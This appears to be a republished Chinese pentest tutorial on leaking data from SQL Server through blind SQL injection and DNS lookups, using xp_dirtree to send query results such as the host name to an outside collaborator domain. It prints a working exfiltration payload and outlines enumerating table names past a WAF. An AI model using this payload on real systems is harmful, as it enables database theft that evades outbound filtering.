您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何使用DNS和SQLi從庫中獲取數據樣本,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
泄露數據的方法有許多,但你是否知道可以使用DNS和SQLi從數據庫中獲取數據樣本?下面我將為大家介紹一些利用SQL盲注從DB服務器枚舉和泄露數據的技術。
在最近的一個Web應用測試中,我發現了一個潛在的SQLi漏洞。使用Burp的Collaborator服務通過DNS交互最終我確認了該SQL注入漏洞的存在。我嘗試使用SQLmap進行一些額外的枚舉和泄露,但由于SQLmap header的原因WAF阻止了我的請求。我需要另一種方法來驗證SQLi并顯示可以從服務器恢復數據。
在之前的文章中,我向大家展示了如何使用xp_dirtree通過SQLi來捕獲SQL Server用戶哈希值的方法。這里我嘗試了相同的方法,但由于客戶端防火墻上的出站過濾而失敗了。此外,在上篇文章中我還引用了GracefulSecurity的文章內容,而在本文中它也將再次派上用場。
即使有出站過濾,xp_dirtree仍可用于從網絡中泄露數據。這是因為SQL服務器必須在xp_dirtree操作的目標上執行DNS查找。因此,我們可以將數據添加為域名的主機或子域部分。例如,如果我在collaborator.redsiege.net上設置DNS服務器,我可以強制xp_dirtree在data.collaborator.redsiege.net上執行DNS查找,我的DNS服務器將接收該主機的查詢,允許我提取來自請求的數據。可能這么說你還有些混亂,我們通過一個實例來講解。
請思考以下代碼:
DECLARE @data varchar(1024); SELECT @data = (SELECT HOST_NAME()); EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');
在此SQL查詢中,我們聲明了一個名為data的變量,我們使用SELECT HOST_NAME()的結果來填充該變量,然后在\\hostname.collaborator.redsiege.net上嘗試xp_dirtree。
我的測試系統名為INTRUDER。在我的測試系統上執行這個查詢導致了對INTRUDER.collaborator.redsiege.net的查找,如下所示。
在這一點上,我知道有一種可靠的方法可以來泄露數據,即使需要手動完成。當然,對于這個演示我使用SQL Server Management Studio來顯示結果發出查詢,但實際上這與通過SQLi實現這一點并沒有太大區別,唯一的不同就是需要對部分查詢進行URL編碼。
在下面的示例中,紅框中的查詢語句將會為我們從Northwind數據庫中返回表名。
在該查詢中你應該已經注意到了有2個SELECT語句。內部SELECT語句(在上面截圖中調用的)返回Northwind數據庫中表名的前10個結果,并按升序字母順序排序。然后,外部(第一個)SELECT語句選擇按字母順序降序排序的結果集的第一個結果。此查詢的結果是我們檢索Northwind數據庫中第10個表的名稱。你是不是感到有些疑惑?讓我們來分解下。
以下內部的SELECT語句,它將返回10個結果并按升序字母順序排序。
如下所示,完整的查詢只返回第10個表的名稱。這是因為我們首先返回了10個結果,并按升序字母順序排序,然后我們又執行了第二個SELECT,其中只返回按降序字母順序排序的第一個結果。這樣一來查詢結果將只會為我們返回表名列表中的第10個結果。
知道了這一點后,我們就可以使用Intruder迭代所有可能的表名,只需修改第二個SELECT語句并增加每個請求中的結果數即可。
上述就是小編為大家分享的如何使用DNS和SQLi從庫中獲取數據樣本了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。